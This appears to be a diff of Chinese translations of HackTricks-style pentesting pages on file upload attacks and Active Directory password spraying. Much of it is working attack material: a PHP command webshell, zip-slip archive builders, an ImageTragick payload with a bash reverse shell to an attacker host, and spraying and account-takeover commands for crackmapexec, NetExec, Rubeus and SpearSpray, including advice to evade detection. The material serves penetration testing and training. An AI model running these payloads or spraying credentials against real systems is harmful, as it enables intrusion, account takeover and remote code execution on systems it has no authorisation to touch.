- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 | 
			
		||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 | 
			
		||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 | 
			
		||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
 | 
			
		||||
- 尝试来自 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 的不同 svg payloads
 | 
			
		||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 | 
			
		||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 | 
			
		||||
- 如果你可以**指示 web server 从一个 URL 抓取图片**,你可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被**保存在某个公开站点**,你也可以指向来自 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL 并**窃取每个访问者的信息**。
 | 
			
		||||
- 如果你能够 **指示 web server 从 URL 抓取图片**,你可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被 **saved** 在某个 **public** 站点,你也可以指向 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL 并 **steal information of every visitor**。
 | 
			
		||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
 | 
			
		||||
- 特别构造的 PDFs 导致 XSS:以下页面展示了如何 **inject PDF data to obtain JS execution** (见链接)。如果你可以上传 PDFs,你可以按指示准备某些会执行任意 JS 的 PDF。
 | 
			
		||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 内容以检查服务器是否存在任何 **antivirus**
 | 
			
		||||
- 检查上传文件时是否存在任何 **大小限制**
 | 
			
		||||
- 专门制作的 PDFs 导致 XSS:该 [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md)。如果你可以上传 PDFs,你可以按照给定指示准备一些会执行任意 JS 的 PDF。
 | 
			
		||||
- 上传 \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 的内容以检查服务器是否有任何 **antivirus**
 | 
			
		||||
- 上传文件时检查是否存在任何 **大小限制**
 | 
			
		||||
 | 
			
		||||
这里有一个通过上传可以实现的前 10 项(来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 | 
			
		||||
下面是一个通过上传可以实现的前十列表(来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 | 
			
		||||
 | 
			
		||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 | 
			
		||||
2. **SVG**: Stored XSS / SSRF / XXE
 | 
			
		||||
@ -216,36 +212,34 @@ https://github.com/portswigger/upload-scanner
 | 
			
		||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 | 
			
		||||
- **JPG**: `"\xff\xd8\xff"`
 | 
			
		||||
 | 
			
		||||
参阅 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) 了解其他 filetypes。
 | 
			
		||||
参见 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) 以获取其他文件类型的签名。
 | 
			
		||||
 | 
			
		||||
## Zip/Tar File Automatically decompressed Upload
 | 
			
		||||
## Zip/Tar 文件自动解压上传
 | 
			
		||||
 | 
			
		||||
如果你可以上传一个会在服务器内被解压的 ZIP,你可以做两件事:
 | 
			
		||||
如果你能上传一个将在服务器内部解压的 ZIP,你可以做两件事:
 | 
			
		||||
 | 
			
		||||
### Symlink
 | 
			
		||||
 | 
			
		||||
上传一个包含指向其他文件的 soft links 的链接,然后访问解压后的文件时,你将访问被链接的文件:
 | 
			
		||||
上传一个包含指向其他文件的软链接的压缩包,然后访问解压后的文件时,你将访问这些被链接的文件:
 | 
			
		||||
```
 | 
			
		||||
ln -s ../../../index.php symindex.txt
 | 
			
		||||
zip --symlinks test.zip symindex.txt
 | 
			
		||||
tar -cvf test.tar symindex.txt
 | 
			
		||||
```
 | 
			
		||||
### 在不同文件夹中解压
 | 
			
		||||
### 在不同文件夹解压
 | 
			
		||||
 | 
			
		||||
在解压缩过程中意外在目录中创建文件是一个严重问题。尽管最初假定这种设置可以防止通过恶意文件上传触发操作系统级别的命令执行,但 ZIP 格式对层级压缩和目录遍历的支持可能被利用。攻击者可以通过操纵目标应用程序的解压缩功能来绕过限制并从安全的上传目录中逃逸。
 | 
			
		||||
在解压缩过程中在目录中意外创建文件是一个严重的问题。尽管最初假设这种设置可以防止通过恶意文件上传进行的操作系统级别命令执行,但 ZIP 压缩格式对层级结构的支持以及目录遍历能力可能被滥用。攻击者可以利用这些特性通过操纵目标应用的解压功能来绕过限制并逃离受保护的上传目录。
 | 
			
		||||
 | 
			
		||||
可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到用于构造此类文件的自动化利用工具。该工具可以按如下方式使用:
 | 
			
		||||
用于生成此类文件的自动化利用工具可在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 获得。该工具可按如下方式使用:
 | 
			
		||||
```python
 | 
			
		||||
# Listing available options
 | 
			
		||||
python2 evilarc.py -h
 | 
			
		||||
# Creating a malicious archive
 | 
			
		||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 | 
			
		||||
```
 | 
			
		||||
此外,**symlink trick with evilarc** 也是一种可选方案。
 | 
			
		||||
此外,**symlink trick with evilarc** 也是一个可行选项。如果目标是针对像 `/flag.txt` 这样的文件,应在你的系统中为该文件创建一个 symlink。这样可以确保 evilarc 在运行时不会遇到错误。
 | 
			
		||||
 | 
			
		||||
如果目标是针对像 `/flag.txt` 这样的文件,则应在系统中创建指向该文件的 symlink。这样可以确保 evilarc 在运行时不会遇到错误。
 | 
			
		||||
 | 
			
		||||
下面是用于创建恶意 zip 文件的 Python 代码示例:
 | 
			
		||||
下面是用于创建恶意 zip 文件的 Python 示例代码:
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/python
 | 
			
		||||
import zipfile
 | 
			
		||||
@ -263,11 +257,11 @@ zip.close()
 | 
			
		||||
 | 
			
		||||
create_zip()
 | 
			
		||||
```
 | 
			
		||||
**滥用压缩进行 file spraying**
 | 
			
		||||
**Abusing compression for file spraying**
 | 
			
		||||
 | 
			
		||||
进一步细节 **请查看原文帖在**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 | 
			
		||||
欲了解更多细节,**请查看原始帖子**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 | 
			
		||||
 | 
			
		||||
1.  **Creating a PHP Shell**: 编写 PHP 代码以执行通过 `$_REQUEST` 变量传入的命令。
 | 
			
		||||
1.  **Creating a PHP Shell**: PHP 代码用于执行通过 `$_REQUEST` 传入的命令。
 | 
			
		||||
 | 
			
		||||
```php
 | 
			
		||||
<?php
 | 
			
		||||
@ -277,14 +271,14 @@ system($cmd);
 | 
			
		||||
}?>
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
2.  **File Spraying and Compressed File Creation**: 创建多个文件并将这些文件打包为 zip 归档。
 | 
			
		||||
2.  **File Spraying and Compressed File Creation**: 创建多个文件并将它们打包为包含这些文件的 zip 归档。
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 | 
			
		||||
root@s2crew:/tmp# zip cmd.zip xx*.php
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
3.  **Modification with a Hex Editor or vi**: 使用 vi 或十六进制编辑器修改 zip 内的文件名,将 "xxA" 更改为 "../" 以实现目录遍历。
 | 
			
		||||
3.  **Modification with a Hex Editor or vi**: 使用 vi 或十六进制编辑器修改 zip 内文件名,将 "xxA" 更改为 "../" 以实现目录遍历。
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
:set modifiable
 | 
			
		||||
@ -294,38 +288,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 | 
			
		||||
 | 
			
		||||
## ImageTragic
 | 
			
		||||
 | 
			
		||||
将此内容以图片扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)**(参考该 [exploit](https://www.exploit-db.com/exploits/39767))
 | 
			
		||||
将该内容以图片扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)**(参见 [exploit](https://www.exploit-db.com/exploits/39767))
 | 
			
		||||
```
 | 
			
		||||
push graphic-context
 | 
			
		||||
viewbox 0 0 640 480
 | 
			
		||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 | 
			
		||||
pop graphic-context
 | 
			
		||||
```
 | 
			
		||||
## 在 PNG 中嵌入 PHP Shell
 | 
			
		||||
## Embedding PHP Shell on PNG
 | 
			
		||||
 | 
			
		||||
将 PHP shell 嵌入 PNG 文件的 IDAT 块,可以有效绕过某些图像处理操作。来自 PHP-GD 的 `imagecopyresized` 和 `imagecopyresampled` 函数在这方面尤其相关,因为它们通常用于调整图像大小和重采样。被嵌入的 PHP shell 不受这些操作影响的能力,对于某些用例是重要的优势。
 | 
			
		||||
将 PHP shell 嵌入 PNG 文件的 IDAT chunk 中可以有效绕过某些图像处理操作。PHP-GD 的 `imagecopyresized` 和 `imagecopyresampled` 函数在这一情境中特别相关,因为它们通常分别用于调整图像大小和重新采样。嵌入的 PHP shell 在这些操作下仍保持不受影响,这在某些用例中具有显著优势。
 | 
			
		||||
 | 
			
		||||
关于该技术的详细探讨(包括方法和潜在应用),见下文文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
 | 
			
		||||
关于该技术的详细探讨,包括其方法论和潜在应用,请参阅以下文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源对该过程及其影响提供了全面的理解。
 | 
			
		||||
 | 
			
		||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 | 
			
		||||
 | 
			
		||||
## Polyglot Files
 | 
			
		||||
 | 
			
		||||
Polyglot files 在网络安全中是独特的工具,像变色龙一样,能够同时以多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar),它既能作为 GIF 工作,也能作为 RAR 归档。此类文件不限于这一组合;像 GIF 与 JS 或 PPT 与 JS 的组合也都是可行的。
 | 
			
		||||
Polyglot files 在网络安全中是一种独特工具,像变色龙一样可以同时以多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为 GIF,又可以作为 RAR 归档。此类文件并不限于这一组合;像 GIF 与 JS 或 PPT 与 JS 的组合也同样可行。
 | 
			
		||||
 | 
			
		||||
polyglot 文件的核心用途在于其绕过基于类型筛查的安全措施的能力。许多应用通常只允许上传某些文件类型,例如 JPEG、GIF 或 DOC,以降低潜在危险格式(例如 JS、PHP 或 Phar 文件)带来的风险。然而,polyglot 通过同时符合多种文件格式的结构要求,可以悄然绕过这些限制。
 | 
			
		||||
Polyglot files 的核心用途在于其绕过基于文件类型筛查的安全措施的能力。许多应用的常见做法是仅允许上传特定文件类型——例如 JPEG、GIF 或 DOC——以降低来自潜在危险格式(例如 JS、PHP 或 Phar 文件)的风险。然而,polyglot 通过符合多种文件格式的结构特征,可以悄然绕过这些限制。
 | 
			
		||||
 | 
			
		||||
尽管适应性强,polyglot 也存在局限。例如,虽然一个 polyglot 可能同时具备 PHAR 文件(PHp ARchive)和 JPEG 的特性,但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统严格限制允许的扩展名,polyglot 的结构双重性可能不足以保证上传成功。
 | 
			
		||||
尽管具备适应性,polyglots 仍然面临限制。例如,尽管一个 polyglot 可能同时具备 PHAR(PHp ARchive)和 JPEG 的特性,但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统在允许的扩展名方面相当严格,polyglot 的结构双重性可能不足以保证上传成功。
 | 
			
		||||
 | 
			
		||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 | 
			
		||||
 | 
			
		||||
### Upload valid JSONs like if it was PDF
 | 
			
		||||
 | 
			
		||||
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
 | 
			
		||||
如何通过伪装成 PDF 来上传有效的 JSON 文件以规避文件类型检测(技术来自 **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
 | 
			
		||||
 | 
			
		||||
- **`mmmagic` library**: 只要 `%PDF` 魔术字节位于前 1024 字节内就被视为有效(示例见文章)
 | 
			
		||||
- **`pdflib` library**: 在 JSON 的某个字段中加入伪造的 PDF 内容,使库认为这是一个 pdf(示例见文章)
 | 
			
		||||
- **`file` binary**: 它最多能读取文件的前 1048576 字节。只需创建一个比这更大的 JSON,使其无法将内容解析为 JSON,然后在 JSON 内放入真实 PDF 的起始部分,它就会认为这是 PDF
 | 
			
		||||
- **`mmmagic` library**: 只要 `%PDF` 魔术字节位于前 1024 字节内,它就被视为有效(示例见文章)
 | 
			
		||||
- **`pdflib` library**: 在 JSON 的某个字段内加入一个伪 PDF 格式,使该库认为这是一个 pdf(示例见文章)
 | 
			
		||||
- **`file` binary**: 它最多会读取文件的 1048576 字节。只需创建一个比这更大的 JSON,让它无法将内容解析为 JSON,然后在该 JSON 中放入真实 PDF 的初始部分,它就会认为这是一个 PDF
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -1,7 +1,7 @@
 | 
			
		||||
# Kerberos 认证
 | 
			
		||||
# Kerberos 身份验证
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
**查看这篇精彩文章:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
 | 
			
		||||
**请查看这篇精彩文章:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -5,16 +5,15 @@
 | 
			
		||||
 | 
			
		||||
## **Password Spraying**
 | 
			
		||||
 | 
			
		||||
一旦找到几个 **valid usernames**,就可以对每个发现的用户尝试最常见的 **common passwords**(请注意环境的密码策略)。\
 | 
			
		||||
默认情况下,**minimum** **password** **length** 为 **7**。
 | 
			
		||||
一旦你找到了几个**有效用户名**,你可以针对每个已发现的用户尝试**最常见的密码**(请注意环境的密码策略)。\ **默认** 情况下,**最小** **密码** **长度** 为 **7**。
 | 
			
		||||
 | 
			
		||||
常见用户名列表也可能有用: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
 | 
			
		||||
常用用户名列表也可能很有用: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
 | 
			
		||||
 | 
			
		||||
注意,你 **could lockout some accounts if you try several wrong passwords**(默认超过 10 次)。 
 | 
			
		||||
注意,**如果你尝试了多个错误的密码,可能会锁定一些账户**(默认超过10次)。
 | 
			
		||||
 | 
			
		||||
### 获取密码策略
 | 
			
		||||
 | 
			
		||||
如果你有某些用户凭证或以域用户身份获得了 shell,你可以通过以下方式 **get the password policy with**:
 | 
			
		||||
如果你有某些用户凭据或以域用户身份获得了 shell,你可以**使用以下方式获取密码策略**:
 | 
			
		||||
```bash
 | 
			
		||||
# From Linux
 | 
			
		||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
 | 
			
		||||
@ -31,7 +30,7 @@ net accounts
 | 
			
		||||
 | 
			
		||||
(Get-DomainPolicy)."SystemAccess" #From powerview
 | 
			
		||||
```
 | 
			
		||||
### 从 Linux(或所有)进行利用
 | 
			
		||||
### 从 Linux(或所有系统)进行利用
 | 
			
		||||
 | 
			
		||||
- 使用 **crackmapexec:**
 | 
			
		||||
```bash
 | 
			
		||||
@ -47,16 +46,16 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 | 
			
		||||
# Brute-Force
 | 
			
		||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
 | 
			
		||||
```
 | 
			
		||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免被锁定):**_
 | 
			
		||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免触发锁定):**_
 | 
			
		||||
```bash
 | 
			
		||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
 | 
			
		||||
```
 | 
			
		||||
- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 不推荐:有时不起作用
 | 
			
		||||
- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 不推荐,有时不起作用
 | 
			
		||||
```bash
 | 
			
		||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
 | 
			
		||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
 | 
			
		||||
```
 | 
			
		||||
- 使用 `scanner/smb/smb_login` 模块的 **Metasploit**:
 | 
			
		||||
- 使用 **Metasploit** 的 `scanner/smb/smb_login` 模块:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -69,7 +68,7 @@ done
 | 
			
		||||
```
 | 
			
		||||
#### 从 Windows
 | 
			
		||||
 | 
			
		||||
- 使用带有 brute module 的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本:
 | 
			
		||||
- 使用带有 brute 模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本:
 | 
			
		||||
```bash
 | 
			
		||||
# with a list of users
 | 
			
		||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
 | 
			
		||||
@ -77,7 +76,7 @@ done
 | 
			
		||||
# check passwords for all users in current domain
 | 
			
		||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 | 
			
		||||
```
 | 
			
		||||
- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (默认可以从域生成用户,并且会从域获取密码策略并根据该策略限制尝试次数):
 | 
			
		||||
- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (它可以默认从域生成用户,并从域获取密码策略并根据该策略限制尝试次数):
 | 
			
		||||
```bash
 | 
			
		||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 | 
			
		||||
```
 | 
			
		||||
@ -85,12 +84,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 | 
			
		||||
```
 | 
			
		||||
Invoke-SprayEmptyPassword
 | 
			
		||||
```
 | 
			
		||||
### 识别并接管 "Password must change at next logon" 帐户 (SAMR)
 | 
			
		||||
### 识别并接管 "Password must change at next logon" Accounts (SAMR)
 | 
			
		||||
 | 
			
		||||
一种低噪声技术是尝试一个无害/空的密码并捕获返回 STATUS_PASSWORD_MUST_CHANGE 的帐户,该状态表示密码被强制过期,可以在不知道旧密码的情况下更改。
 | 
			
		||||
一种低噪声的技术是对账户尝试 benign/empty password,并捕获返回 STATUS_PASSWORD_MUST_CHANGE 的账户,这表示密码被强制过期,可以在不知道旧密码的情况下直接更改。
 | 
			
		||||
 | 
			
		||||
Workflow:
 | 
			
		||||
- 枚举用户(通过 SAMR 进行 RID 暴力破解)以构建目标列表:
 | 
			
		||||
- 枚举用户 (RID brute via SAMR) 以构建目标列表:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
 | 
			
		||||
@ -99,12 +98,12 @@ Workflow:
 | 
			
		||||
# NetExec (null/guest) + RID brute to harvest users
 | 
			
		||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
 | 
			
		||||
```
 | 
			
		||||
- Spray 空密码,并在命中后继续尝试以捕获必须在下次登录时更改的账户:
 | 
			
		||||
- Spray an empty password,并在命中后继续尝试,以捕获那些必须在下次 logon 时更改的账户:
 | 
			
		||||
```bash
 | 
			
		||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
 | 
			
		||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
 | 
			
		||||
```
 | 
			
		||||
- 对于每个命中,通过 SAMR 使用 NetExec 的模块更改密码(当设置了 "must change" 时不需要旧密码):
 | 
			
		||||
- 对于每个命中,使用 NetExec’s 模块通过 SAMR 更改密码(当设置了 "must change" 时不需要旧密码):
 | 
			
		||||
```bash
 | 
			
		||||
# Strong complexity to satisfy policy
 | 
			
		||||
env NEWPASS='P@ssw0rd!2025#' ; \
 | 
			
		||||
@ -113,27 +112,27 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
 | 
			
		||||
# Validate and retrieve domain password policy with the new creds
 | 
			
		||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
 | 
			
		||||
```
 | 
			
		||||
操作说明:
 | 
			
		||||
- 确保在执行基于 Kerberos 的操作之前,主机时钟与 DC 同步: `sudo ntpdate <dc_fqdn>`.
 | 
			
		||||
- 在某些模块(例如 RDP/WinRM)中,带有 [+] 但没有 (Pwn3d!) 表示 creds 有效,但该账户缺少交互式登录权限。
 | 
			
		||||
操作说明:
 | 
			
		||||
- 在进行基于 Kerberos 的操作之前,确保主机时钟与 DC 同步: `sudo ntpdate <dc_fqdn>`。
 | 
			
		||||
- 在某些模块(例如 RDP/WinRM)中,带有 [+] 但没有 (Pwn3d!) 表示 creds 有效,但该账户缺少 interactive logon rights。
 | 
			
		||||
 | 
			
		||||
## Brute Force
 | 
			
		||||
## 暴力破解
 | 
			
		||||
```bash
 | 
			
		||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
 | 
			
		||||
```
 | 
			
		||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
 | 
			
		||||
 | 
			
		||||
Kerberos pre-auth–based spraying 相较于 SMB/NTLM/LDAP bind attempts 能减少噪音,并更符合 AD lockout policies。SpearSpray 结合 LDAP 驱动的定向、模式引擎 和 策略感知(域策略 + PSOs + badPwdCount buffer),以精确且安全地进行喷洒。它还可以在 Neo4j 中标记被攻陷的主体,以供 BloodHound 路径分析使用。
 | 
			
		||||
基于 Kerberos pre-auth 的喷射比 SMB/NTLM/LDAP 绑定尝试产生更少噪音,并且更符合 AD 锁定策略。SpearSpray 结合 LDAP 驱动的定向、模式引擎和策略感知(域策略 + PSOs + badPwdCount 缓冲),以更精确和更安全的方式进行喷射。它还可以在 Neo4j 中标记被攻破的主体以供 BloodHound 路径分析。
 | 
			
		||||
 | 
			
		||||
关键要点:
 | 
			
		||||
- LDAP 用户发现,支持分页和 LDAPS,并可选地使用自定义 LDAP 过滤器。
 | 
			
		||||
- 结合域锁定策略 + PSO 感知的过滤,保留可配置的尝试缓冲(阈值),避免锁定用户。
 | 
			
		||||
- 使用快速 gssapi bindings 进行 Kerberos pre-auth 验证(在 DC 上生成 4768/4771 而非 4625)。
 | 
			
		||||
- 基于模式的逐用户密码生成,使用诸如姓名和从每个用户的 pwdLastSet 派生的时间变量等变量。
 | 
			
		||||
- 通过线程、jitter 和每秒最大请求数来控制吞吐。
 | 
			
		||||
- 可选的 Neo4j 集成用于标记被攻破的用户以供 BloodHound 使用。
 | 
			
		||||
- 使用分页和 LDAPS 支持的 LDAP 用户发现,可选地使用自定义 LDAP 过滤器。
 | 
			
		||||
- 域锁定策略 + PSO 感知过滤,保留可配置的尝试缓冲(阈值)以避免锁定用户。
 | 
			
		||||
- 使用快速 gssapi 绑定的 Kerberos pre-auth 验证(在 DCs 上生成 4768/4771,而不是 4625)。
 | 
			
		||||
- 基于模式的逐用户密码生成,使用诸如姓名和从每个用户的 pwdLastSet 派生的时间变量。
 | 
			
		||||
- 通过线程、抖动和每秒最大请求数来控制吞吐量。
 | 
			
		||||
- 可选的 Neo4j 集成,用于标记被攻破的用户以供 BloodHound 使用。
 | 
			
		||||
 | 
			
		||||
基本用法与发现:
 | 
			
		||||
基本用法和发现:
 | 
			
		||||
```bash
 | 
			
		||||
# List available pattern variables
 | 
			
		||||
spearspray -l
 | 
			
		||||
@ -161,11 +160,11 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
 | 
			
		||||
# Leave N attempts in reserve before lockout (default threshold: 2)
 | 
			
		||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
 | 
			
		||||
```
 | 
			
		||||
Neo4j/BloodHound 富集:
 | 
			
		||||
Neo4j/BloodHound 丰富化:
 | 
			
		||||
```bash
 | 
			
		||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
 | 
			
		||||
```
 | 
			
		||||
模式系统概览 (patterns.txt):
 | 
			
		||||
模式系统概述 (patterns.txt):
 | 
			
		||||
```text
 | 
			
		||||
# Example templates consuming per-user attributes and temporal context
 | 
			
		||||
{name}{separator}{year}{suffix}
 | 
			
		||||
@ -174,29 +173,29 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
 | 
			
		||||
{samaccountname}
 | 
			
		||||
{extra}{separator}{year}{suffix}
 | 
			
		||||
```
 | 
			
		||||
可用变量包括:
 | 
			
		||||
Available variables include:
 | 
			
		||||
- {name}, {samaccountname}
 | 
			
		||||
- 从每个用户的 pwdLastSet(或 whenCreated)获得的时间变量:{year}, {short_year}, {month_number}, {month_en}, {season_en}
 | 
			
		||||
- 组合辅助变量和组织令牌:{separator}, {suffix}, {extra}
 | 
			
		||||
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
 | 
			
		||||
- Composition helpers and org token: {separator}, {suffix}, {extra}
 | 
			
		||||
 | 
			
		||||
操作注意事项:
 | 
			
		||||
- 优先使用 -dc 查询 PDC-emulator,以读取最权威的 badPwdCount 和与策略相关的信息。
 | 
			
		||||
- badPwdCount 会在观察窗口之后的下一次尝试时被重置;使用阈值和时机以保持安全。
 | 
			
		||||
- Kerberos 预认证尝试会在 DC 监测中以 4768/4771 的事件出现;使用 jitter 和 rate-limiting 来混入正常流量。
 | 
			
		||||
Operational notes:
 | 
			
		||||
- 优先使用 -dc 查询 PDC-emulator 以读取最权威的 badPwdCount 和与策略相关的信息。
 | 
			
		||||
- badPwdCount 的重置会在观察窗口之后的下一次尝试触发;使用阈值和时序来保持安全。
 | 
			
		||||
- Kerberos pre-auth 尝试在 DC 监控中以 4768/4771 的形式出现;使用抖动和速率限制以便混入正常流量。
 | 
			
		||||
 | 
			
		||||
> 提示:SpearSpray 的默认 LDAP 页面大小为 200;根据需要使用 -lps 调整。
 | 
			
		||||
> 提示:SpearSpray 的默认 LDAP 页面大小为 200;根据需要用 -lps 调整。
 | 
			
		||||
 | 
			
		||||
## Outlook Web Access
 | 
			
		||||
 | 
			
		||||
有多种工具可用于 p**assword spraying outlook**。
 | 
			
		||||
有多个工具可用于 p**assword spraying outlook**。
 | 
			
		||||
 | 
			
		||||
- 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
 | 
			
		||||
- 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
 | 
			
		||||
- 使用 [Ruler](https://github.com/sensepost/ruler)(可靠!)
 | 
			
		||||
- 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)(Powershell)
 | 
			
		||||
- 使用 [MailSniper](https://github.com/dafthack/MailSniper)(Powershell)
 | 
			
		||||
- 使用 [Ruler](https://github.com/sensepost/ruler) (可靠!)
 | 
			
		||||
- 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
 | 
			
		||||
- 使用 [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
 | 
			
		||||
 | 
			
		||||
要使用这些工具,你需要一个用户列表以及一个密码或一小组要尝试的密码。
 | 
			
		||||
要使用这些工具,您需要一个用户列表以及一个 password,或一小组 password 列表用于喷洒。
 | 
			
		||||
```bash
 | 
			
		||||
